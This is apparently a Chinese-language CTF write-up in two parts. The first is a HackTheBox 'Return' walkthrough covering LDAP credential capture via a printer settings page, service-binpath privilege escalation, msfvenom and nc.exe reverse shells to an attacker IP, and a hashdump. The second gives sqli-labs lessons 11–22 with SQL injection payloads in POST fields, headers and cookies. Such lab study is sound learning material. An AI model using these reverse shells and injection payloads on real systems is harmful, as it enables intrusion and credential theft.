hackthebox-return-401

hackthebox return

return

port scan

使用rustscan 扫描目标地址后发现多个端口开放,其中80是http服务。使用gobuster目录爆破,发现 http://10.10.11.108/settings.php链接.

services

settings.php页面上发现有保存的ldap用户名. 保存的ldap用户名 点击update按钮触发post请求,请求体中有ip字段,值为目标域名printer.return.local

foothold

将请求体中的ip换成自己机器的ip,并且使用responder监听ldap服务.

使用responder 监听ldap服务端口

使用burp 修改settings.php 请求. burp 修改settings.php 请求

发送请求后,responder处得到目标机器发起的ldap认证信息(用户名/密码);

respnoder 得到ldap服务认证信息

使用evil-winrm使用ldap用户信息尝试登录:登录成功。

evil-winrm 尝试登录

priv esca

枚举信息,发现svc-printer用户在用户组(Server Operators group)中,
用户在Server Operators组 根据文档 显示此用户组成员具有以交互方式登录服务器、创建和删除网络共享资源、启动和停止服务、备份和还原文件、格式化计算机的硬盘驱动器以及关闭服务器
因为它具有启动/停止服务的权限,尝试使用sc.exe create ...创建服务失败后,使用修改常见服务的方式执行恶意文件。

  1. 准备恶意文件

nc.exe即可,这里使用msf payload

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.22 LPORT=9002 EXITFUNC=thread -e x86/shikata_ga_nai -i 10 -f exe -o rev.exe

msfvenom生成payload

  1. msf 监听payload

使用multi/handler监听对应payload; 服务启动后大约持续5s,即会停止进程;防止连接关闭,设置msf自动migrate进程。

1
2
3
4
5
6
7
use multi/handler
set payload windows/meterpreter/reverse_tcp
set EXITFUNC thread
set lhost 10.10.14.22
set lport 9002
set ExitOnSession false
set AutoRunScript post/windows/manage/migrate

msf multi/handler

  1. 执行msf payload

通过evil-winrm的 upload方法上传恶意文件,然后修改vss(卷影复制服务,Volume Shadow Copy Service)。

1
2
3
4
5
# 设置vss服务 可执行文件路径为 msf payload path
sc.exe config vss binpath= "C:\windows\tasks\rev.exe"

# 重启vss服务
sc.exe stop vss ; sc.exe start vss

evil-winrm upload恶意文件

post

使用msf的post/windows/gather/smart_hashdump模块,执行后利用,dump 用户密码hash. msf smart_hashdump

other func

不使用msf payload,使用普通nc.exe.

1
2
3
4
# 修改vss可执行文件路径位置 并 提供执行参数
sc.exe config vss binpath= "C:\windows\tasks\nc.exe -e cmd.exe 10.10.14.22 9002"

sc.exe stop vss; sc.exe start vss

使用nc.exe获得反弹shell

得到nc反弹shell后,立刻在此shell中再使用nc.exe创建另一个稳定反弹shell.

1
C:\windows\tasks\nc.exe -e cmd.exe 10.10.14.22 9003

something about sqliLabs 0x03

sqli-labs

sqli-labs => 备份地址

Page-1(Basic Challenges)

Less-11

POST - Error Based - Single quotes - String

提交方式为POST方式,直接构造post请求
uname=username&passwd=password'+or+true+--+&submit=Submituname=username&passwd=password'+or+true+--+&submit=Submit都可,两处都可注入。

Less-12

POST - Error Based - Double quotes - String - with twist

多试几次,发现闭合方式不同,双引号与括号闭合("$id")
uname=username")+or+true+--+&passwd=password&submit=Submituname=username&passwd=password")+or+true+--+&submit=Submit都可,两处都可注入。

Less-13

POST - Double Injection - Single quotes - String - with twist

闭合方式为('$password')
uname=username')+or+true+--+&passwd=password&submit=Submituname=username&passwd=password')+or+true+--+&submit=Submit两处都可注入。

Less-14

POST - Double Injection - Double quotes - String - with twist

闭合方式为"$password"
uname=username"+or+true+--+&passwd=password&submit=Submituname=username&passwd=password"+or+true+--+&submit=Submit两处都可注入。

Less-15

POST - Blind - Boolean/Time Based - Single quotes

uname=username'+or+true+--+&passwd=password&submit=Submituname=username&passwd=password'+or+true+--+&submit=Submit两处都可注入。

Less-16

POST - Blind - Boolean/Time Based - Double quotes

uname=username")+or+true+--+&passwd=password&submit=Submituname=username&passwd=password")+or+true+--+&submit=Submit都可以注入。

Less-17

POST - Update Query - Error Based - String

这不是普通的select语句,而是update语句,可以利用0x01中学到的updatexml(),extractvalue()报错来获取信息。

uname=Dumb&passwd=newpassword'+or+updatexml(1,concat(0x7e,database()),1)+or+'close&submit=Submit即可成功注入,并获得了database()信息。

Less-18

POST - Header Injection - Uagent field - Error based

需要注入HTTP头,由于这次查询,先查询用户/密码是否存在,如果存在,将其 User-Agent 存入数据库中。

注入HTTP头User-Agent属性。

1
2
3
4
5
6
7
POST /Less-18/ HTTP/1.1
Host: train.com
User-Agent: test' or updatexml(1,concat(0x7e, database()) ,1) or 'close
...
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

Less-19

POST - Header Injection - Referer field - Error based

注入HTTP头Referer属性,此属性是用来标识,请求来源于哪个URL

1
2
3
4
5
6
7
8
9
10
POST /Less-19/ HTTP/1.1
...
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
...
Referer: close' or updatexml(1,concat(0x7e, database()) ,1) or 'close
...

uname=admin&passwd=admin&submit=Submit

Less-20

POST - Cookie Injections - Uagent field - Error based

HTTP头Cookie属性进行注入。

1
2
3
4
5
6
7
POST /Less-20/ HTTP/1.1
Host: train.com
...
Cookie: uname=admin' or updatexml(1, concat(0x7e, database()),1) or 'close; ZDEDebuggerPresent=php,phtml,php3
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

跟隨redirection,即可以看到结果。

Less-21

POST - Cookie Injections - Uagent field - Error based

Less-20 相同,但是观察到uname = YWRtaW4=中是有=存在的,联想到 BASE64编码后,会出现=补足编码。

使用base64工具解码查看:

1
2
~$ echo "YWRtaW4=" | base64 -d -
admin

与请求内容吻合,因此构造好payload后还需要进行BASE64编码。
构造payload为admin' or updatexml(1, concat(0x7e, database()),1) or 'close

使用base64工具编码:

1
2
~$ echo "admin' or updatexml(1, concat(0x7e, database()),1) or 'close" | base64 -
YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgZGF0YWJhc2UoKSksMSkgb3IgJ2Nsb3NlCg==

最终payload为:

1
2
3
4
GET /Less-21/index.php HTTP/1.1
...
Cookie: uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgZGF0YWJhc2UoKSksMSkgb3IgJ2Nsb3NlCg%3d%3d; ZDEDebuggerPresent=php,phtml,php3
Upgrade-Insecure-Requests: 1

Less-22

POST - Cookie Injections - Uagent field - Error based

Less-21 相比,闭合方式为",其他相同。